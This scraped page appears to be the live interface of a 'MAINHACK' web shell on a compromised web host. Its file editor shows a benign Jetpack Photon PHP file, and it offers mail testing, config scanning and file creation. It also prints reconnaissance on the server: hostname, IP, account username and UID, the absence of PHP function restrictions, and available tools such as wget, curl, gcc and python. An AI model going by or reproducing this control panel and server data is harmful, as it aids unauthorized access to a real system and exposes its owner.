[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: functions.photon.php
<?php // phpcs:ignore WordPress.Files.FileName.NotHyphenatedLowercase /** * Generic functions using the Photon service. * * Some are used outside of the Photon module being active, so intentionally not within the module. * As photon has been moved to the image-cdn package, the functions are now also replaced by their counterparts in Image_CDN_Core in the package. * * @package automattic/jetpack */ use Automattic\Jetpack\Image_CDN\Image_CDN; use Automattic\Jetpack\Image_CDN\Image_CDN_Core; /** * Generates a Photon URL. * * @see https://developer.wordpress.com/docs/photon/ * * @deprecated 12.2 Use Automattic\Jetpack\Image_CDN\Image_CDN_Core::cdn_url instead. * @param string $image_url URL to the publicly accessible image you want to manipulate. * @param array|string $args An array of arguments, i.e. array( 'w' => '300', 'resize' => array( 123, 456 ) ), or in string form (w=123&h=456). * @param string|null $scheme URL protocol. * @return string The raw final URL. You should run this through esc_url() before displaying it. */ function jetpack_photon_url( $image_url, $args = array(), $scheme = null ) { return Image_CDN_Core::cdn_url( $image_url, $args, $scheme ); } /** * Parses WP.com-hosted image args to replicate the crop. * * @deprecated 12.2 Use Automattic\Jetpack\Image_CDN\Image_CDN_Core::parse_wpcom_query_args instead. * @param mixed $args Args set during Photon's processing. * @param string $image_url URL of the image. * @return array|string Args for Photon to use for the URL. */ function jetpack_photon_parse_wpcom_query_args( $args, $image_url ) { return Image_CDN_Core::parse_wpcom_query_args( $args, $image_url ); } /** * Sets the scheme for a URL * * @deprecated 12.2 Use Automattic\Jetpack\Image_CDN\Image_CDN_Core::cdn_url_scheme instead. * @param string $url URL to set scheme. * @param string $scheme Scheme to use. Accepts http, https, network_path. * * @return string URL. */ function jetpack_photon_url_scheme( $url, $scheme ) { _deprecated_function( __FUNCTION__, 'jetpack-12.2', 'Automattic\Jetpack\Image_CDN\Image_CDN_Core::cdn_url_scheme' ); return Image_CDN_Core::cdn_url_scheme( $url, $scheme ); } /** * Check to skip Photon for a known domain that shouldn't be Photonized. * * @deprecated 12.2 Use Automattic\Jetpack\Image_CDN\Image_CDN_Core::banned_domains instead. * @param bool $skip If the image should be skipped by Photon. * @param string $image_url URL of the image. * * @return bool Should the image be skipped by Photon. */ function jetpack_photon_banned_domains( $skip, $image_url ) { _deprecated_function( __FUNCTION__, 'jetpack-12.2', 'Automattic\Jetpack\Image_CDN\Image_CDN_Core::banned_domains' ); return Image_CDN_Core::banned_domains( $skip, $image_url ); } /** * Jetpack Photon - Support Text Widgets. * * @deprecated 12.2 * @access public * @param string $content Content from text widget. * @return string */ function jetpack_photon_support_text_widgets( $content ) { _deprecated_function( __FUNCTION__, 'jetpack-12.2' ); return Image_CDN::filter_the_content( $content ); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.38 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252